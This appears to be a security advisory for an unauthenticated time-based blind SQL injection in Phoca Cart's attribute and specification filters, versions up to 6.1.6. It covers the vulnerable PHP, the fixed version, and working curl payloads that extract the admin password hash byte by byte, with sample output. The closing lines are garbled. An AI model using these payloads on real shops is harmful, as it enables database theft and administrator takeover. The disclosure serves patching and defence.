
Unauthenticated SQL Injection via Attribute Filter in Phoca Cart - CVSS 9.3
Phoca Cart ≤ 6.1.6 — Unauthenticated Attacker Extracts Full Database via Time-Based Blind Injection
The a[] (attribute) and s[] (specification) GET array parameters on Phoca Cart's public shop items page are concatenated raw into SQL WHERE clauses without parameterization or escaping. An unauthenticated attacker can inject arbitrary SQL through these parameters, enabling full database extraction via time-based blind techniques.
The vulnerability exists in getSqlPartsArray() inside admin/libraries/phocacart/search/search.php. The function calls explode(',', $v) before building the IN() list but never escapes the resulting values — so a comma-free payload passes through intact into the SQL query. Because getItemListQuery() is called twice per request (getTotal() + getItemList()), a SLEEP(N) payload causes a 2×N second observable delay, making timing detection highly reliable.
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
|---|---|---|---|
| Phoca Cart (com_phocacart) | 5.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
Type: SQL Injection — Time-Based Blind (CWE-89)
Authentication required: None — publicly accessible endpoint
File: admin/libraries/phocacart/search/search.php
The items model reads the a[] and s[] parameters directly from the HTTP request without sanitization:
SITE/MODELS/ITEMS.PHP — LINE 92–93
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
These values are forwarded to getSqlPartsArray(), which splits each value on commas and inserts the resulting fragments directly into the SQL IN() clause:
SEARCH.PHP — GETSQLPARTSARRAY() LINES 318–363 (VULNERABLE)
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma — but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method — $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // ← raw user input injected here
. '))';
// ALL method — $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter — same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
}
}
}
The resulting SQL fragment is inserted into the main query:
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
getActiveFilterValues() in filter.php applies filterValue($item, 'alphanumeric') to a[]/s[] values for the display layer. However, getSqlPartsArray() reads the same parameters fresh from $app->getInput()->get('a', '', 'array') with no sanitization applied, bypassing the display-layer protection entirely.
No authentication required. The items view (/index.php?option=com_phocacart&view=items) is publicly accessible. No attributes or specifications need to be configured on the shop.
An unauthenticated user can access the shopping portal without any credentials.

Raw request captured in Burp Suite — baseline response time: 76ms.

a[])A SLEEP(3) payload is injected via the a[color] parameter. Because getItemListQuery() is called twice per request, the expected delay is 2 × 3 = 6s. Observed: 7085ms — confirmed.
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s — CONFIRMED
# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"

Replacing SLEEP(3) with SLEEP(0) returns immediately (1064ms), confirming the delay is caused by the injected SLEEP and not network conditions.

Extract the admin bcrypt hash one byte at a time. Critical constraint: explode(',', $v) splits on commas before building SQL — payloads must use SUBSTRING(str FROM pos FOR len) (ANSI keyword syntax) to avoid comma truncation, and CASE WHEN ... THEN ... ELSE ... END instead of IF().
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match
PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=$PAYLOAD" \
"http://TARGET/index.php"
Lab verification — first 12 characters of admin bcrypt hash:
| pos | char | ASCII | response | match |
|---|---|---|---|---|
| 1 | $ | 36 | >6s | ✓ |
| 2 | 2 | 50 | >6s | ✓ |
| 3 | y | 121 | >6s | ✓ |
| 4 | $ | 36 | >6s | ✓ |
| 5 | 1 | 49 | >6s | ✓ |
| 6 | 0 | 48 | >6s | ✓ |
| 7 | $ | 36 | >6s | ✓ |
| 8 | L | 76 | >6s | ✓ |
| 9 | N | 78 | >6s | ✓ |
| 10 | v | 118 | >6s | ✓ |
| 11 | t | 116 | >6s | ✓ |
| ... | ... | ... | >6s | ✓ |
Extracted prefix $2y$10$LNvt... — full 60-char bcrypt hash recoverable in ~240 requests.
The included exploit.py script automatically extracts the complete admin password hash without manual iteration, using the same time-based technique above.
python exploit.py http://TARGET

com_phocacart installed and a public front-end is exploitable.INSERT / UPDATE / DELETE statements, including creating new administrator accounts or modifying order records.